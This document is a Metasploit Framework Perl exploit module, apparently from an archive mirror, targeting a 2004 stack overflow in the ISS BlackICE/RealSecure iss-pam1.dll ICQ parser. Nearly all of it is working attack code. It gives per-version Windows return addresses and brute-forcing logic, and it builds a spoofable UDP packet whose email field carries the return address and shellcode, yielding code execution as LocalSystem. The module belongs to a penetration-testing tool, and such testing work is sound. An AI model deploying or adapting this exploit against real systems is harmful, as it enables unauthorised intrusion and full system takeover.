home *** CD-ROM | disk | FTP | other *** search
-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::blackice_pam_icq;
- use base 'Msf::Exploit';
- use strict;
- use Pex::Text;
-
- my $advanced =
- {
- 'BruteWait' => [5, 'Time to sleep between attempts, gives the SEH a chance to recover.'],
- 'AdvancedTargets' => [0, 'You should never really need this, just figured why not. This won\'t work with brute forcing either.'],
- };
-
- my $info =
- {
- 'Name' => 'ISS PAM.dll ICQ Parser Buffer Overflow',
- 'Version' => '$Revision: 1.33 $',
- 'Authors' =>
- [
- 'spoonm <ninjatools [at] hush.com>',
- ],
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a stack overflow in the ISS products that use
- the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation
- will result in arbitrary code execution as LocalSystem. This exploit
- only requires 1 UDP packet, which can be both spoofed and sent to a broadcast
- address.
-
- The ISS exception handler will recover the process after each overflow, giving
- us the ability to bruteforce the service and exploit it multiple times.
-
- Warning: Command execution payloads do not seem working, this includes win32_adduser.
- }),
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp', 'win2003', 'winnt'],
- 'Priv' => 1,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port (1 for random)', 1],
- },
-
- 'Payload' =>
- {
- 'Space' => 504 - 31 - 4,
- 'BadChars' => "\x00",
- 'MinNops' => 0,
- 'MaxNops' => 0,
- 'Prepend' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
- 'Keys' => ['+ws2ord'],
- },
-
- 'Refs' =>
- [
- ['OSVDB', '4355'],
- ['URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],
- ['URL', 'http://xforce.iss.net/xforce/alerts/id/166'],
- ['MIL', '13'],
- ],
-
- 'DefaultTarget' => -1, # it defaults to this, but set anyway
- 'Targets' =>
- [
- [1, 'Bruteforce All', 3 .. 9],
- [1, 'Bruteforce iss-pam1.dll', 3 .. 4],
- [1, 'Bruteforce NT 4.0', 8 .. 9],
- [1, 'iss-pam1.dll 3.6.06', 0x5e0a473f],
- [1, 'iss-pam1.dll 3.6.11', 0x5e0da1db],
-
- [1, 'WinXP SP0 - SP1', 0x71aa3a4b], # ws2help.dll
-
- [1, 'Win2003 SP0', 0x71bf3cc9], # ws2help.dll
-
- # ey4s rocks, thanks for the ret man!
- [1, 'Win2000 SP0 - SP4', 0x750231e2], # ws2help.dll
-
- [1, 'WinNT SP3 / WinNT SP5 / WinNT SP6', 0x777e79ab], # samlib.dll
- [1, 'WinNT SP4 / WinNT SP5', 0x7733b8db], # cfgmgr32.dll
-
- # I love opcode db.
-
- [0, 'WinXP SP0 / WinXP SP1 - shell32.dll', 0x776606af], # shell32.dll
- [0, 'WinXP SP0 / WinXP SP1 - atl.dll', 0x76b305a7], # atl.dll
- [0, 'WinXP SP0 / WinXP SP1 - atl.dll', 0x76e61a21], # activeds.dll
- [0, 'WinXP SP0 / WinXP SP1 - ws2_32.dll', 0x71ab7bfb], # ws2_32.dll
- [0, 'WinXP SP0 / WinXP SP1 - mswsock.dll', 0x71a5403d], # mswsock.dll
-
- [0, 'Win2000 SP2 / Win2000 SP3 - samlib.dll', 0x75159da3], # samlib.dll
- [0, 'Win2000 SP0 / Win2000 SP1 - activeds.dll', 0x773d0beb], # activeds.dll
-
- [0, 'WinNT SP5 / WinNT SP6 - advapi32.dll', 0x77dcd1cb], # advapi32.dll
- [0, 'WinNT SP3 / WinNT SP5 / WinNT SP6 - shell32.dll', 0x77cec080], # shell32.dll
- [0, 'WinNT SP5 / WinNT SP6 - mswsock.dll', 0x7767ebca], # mswsock.dll
- ],
-
- 'Keys' => ['blackice'],
-
- 'DisclosureDate' => 'Mar 18 2004',
-
- };
-
- # Override to do our advanced target foo
- sub Targets {
- my $self = shift;
- my $targets = $self->SUPER::Targets;
- my $newTargets = [ ];
- my $advanced = !$self->GetLocal('AdvancedTargets') == 1;
-
- foreach my $target (@{$targets}) {
- if($target->[0] >= $advanced) {
- my @target = @{$target};
- shift(@target);
- push(@{$newTargets}, \@target);
- }
- }
- return($newTargets);
- }
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $targetHost = $self->GetVar('RHOST');
- my $targetIndex = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- # Pad shellcode to size
- $shellcode .= Pex::Text::EnglishText($self->PayloadSpace - length($shellcode));
-
- my $target = $self->Targets->[$targetIndex];
-
- $self->PrintLine;
- $self->PrintLine('[*] !!! Note: The connection will not close after shellcode is finished');
- $self->PrintLine(' (atleast when using SEH). This is because the SEH handler');
- $self->PrintLine(' recovers after bad exceptions (good for us).');
- $self->PrintLine;
-
- my @targets;
-
- if(@{$target} == 2) {
- @targets = ($targetIndex);
- }
- else {
- @targets = @{$target};
- my $name = shift(@targets);
- $self->PrintLine('[*] Trying Multiple Targets - ' . $name);
- }
-
- foreach $targetIndex (@targets) {
- my $target = $self->Targets->[$targetIndex];
- my $addr = $target->[1];
-
- $self->PrintLine(sprintf('[*] Trying %s - 0x%08x', $target->[0], $addr));
-
- my $port = $self->_targetPort;
- my $sock = Msf::Socket::Udp->new
- (
- 'PeerAddr' => $targetHost,
- 'PeerPort' => $port,
- 'LocalPort' => 4000,
- );
- if ($sock->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
- return;
- }
-
- # http://www.cs.berkeley.edu/~mikechen/im/protocols/icq/icqv5.html
- # ISS's parser disagrees with both the above protocol and ethereal's disector
-
- # God I'm so sick of this exploit by now, heh.
- # ISS's parser seems totally broked, so this protocol is a fudge of the real one.
-
- my $header = Pex::Struct->new(
- [
- 'version' => 'l_u_16',
- 'unknown0' => 'u_8',
- 'sessionId' => 'l_u_32',
- 'command' => 'l_u_16',
- 'seqnum1' => 'l_u_16',
- 'seqnum2' => 'l_u_16',
- 'uin' => 'l_u_32',
- 'checkcode' => 'l_u_32',
- ]
- );
-
- $header->Set(
- 'version' => 5,
- 'unknown0' => 0,
- 'sessionId' => 0,
- 'command' => 530, # SRV_MULTI
- 'seqnum1' => 0,
- 'seqnum2' => 0,
- 'uin' => 1161044754,
-
- # 'uin' => 0,
- 'checkcode' => 0,
- );
-
- # Packet 1 USER_ONLINE
- my $userOnline = Pex::Struct->new(
- [
- 'header' => 'struct',
- 'uinOnline' => 'l_u_32',
- 'ip' => 'l_u_32',
- 'port' => 'l_u_32',
- 'realIp' => 'l_u_32',
- 'unknown1' => 'u_8',
- 'status' => 'l_u_32',
- 'unknown2' => 'l_u_32',
- ],
- );
-
- my $headerOnline = $header->copy;
- $headerOnline->Set('command', 110); # SRV_USER_ONLINE
-
- $userOnline->Set(
- 'header' => $headerOnline,
- 'uinOnline' => 1161044754,
- 'ip' => 1,
- 'port' => 0,
- 'realIp' => 0,
- 'unknown1' => 0,
- 'status' => 0,
- 'unknown2' => 0,
- );
-
- # Packet 2 META_USER
- my $metaUser = Pex::Struct->new(
- [
- 'header' => 'struct',
- 'subcommand' => 'l_u_16',
- 'success' => 'u_8',
- 'nickLength' => 'l_u_16',
- 'nick' => 'string',
- 'firstNameLength' => 'l_u_16',
- 'firstName' => 'string',
- 'lastNameLength' => 'l_u_16',
- 'lastName' => 'string',
- 'emailLength' => 'l_u_16',
- 'email' => 'string',
- 'authorize' => 'u_8',
- 'unknown1' => 'l_u_16',
- 'unknown2' => 'l_u_32',
- ],
- );
-
- my $headerMeta = $header->copy;
- $headerMeta->Set('command', 990); # SRV_META_USER
- $headerMeta->Set('uin', 2018915346);
-
- # Evilness
-
- my $nick = '';
- my $firstName = '';
- my $lastName = '';
-
- # my $email = 'A' x 19;
- my $email = Pex::Text::EnglishText(19);
- $email .= pack('V', $addr);
- $email .= $shellcode;
-
- $metaUser->SetSizeField(
- 'nick' => 'nickLength',
- 'firstName' => 'firstNameLength',
- 'lastName' => 'lastNameLength',
- 'email' => 'emailLength',
- );
-
- $metaUser->Set(
- 'header' => $headerMeta,
- 'subcommand' => 0, # META_USER_FOUND (Should be 410, iss, wtf?)
- 'success' => 10, # Success
- 'nick' => $nick,
- 'firstName' => $firstName,
- 'lastName' => $lastName,
- 'email' => $email,
- 'authorize' => 0, # don't ask permission (docs and ethereal conflict)
- 'unknown1' => 0,
- 'unknown2' => 0,
- );
-
- my $multi = Pex::Struct->new(
- [
- 'header' => 'struct',
- 'numPackets' => 'u_8',
- 'packet1Length' => 'l_u_16',
- 'packet1' => 'struct',
- 'packet2Length' => 'l_u_16',
- 'packet2' => 'struct',
- ],
- );
-
- $multi->Set(
- 'packet2Length' => length($metaUser),
- );
-
- $multi->Set(
- 'header' => $header,
- 'numPackets' => 2,
- 'packet1Length' => $userOnline->Length,
- 'packet1' => $userOnline,
- 'packet2Length' => $metaUser->Length,
- 'packet2' => $metaUser,
- );
-
- my $request = $multi->Fetch;
-
- $self->PrintLine('[*] Sending UDP Request (Dest Port: ' . $port . ') (' . length($request) . ' bytes)');
-
- $sock->Send($request);
-
- $self->PrintLine('[*] Sleeping (giving exception handle time to recover).');
- sleep($self->GetLocal('BruteWait'));
- }
-
- }
-
- sub _targetPort {
- my $self = shift;
- my $targetPort = $self->GetVar('RPORT');
- return($targetPort) if($targetPort != 1);
- return(int(rand(65536 - 2000)) + 2000);
- }
-
-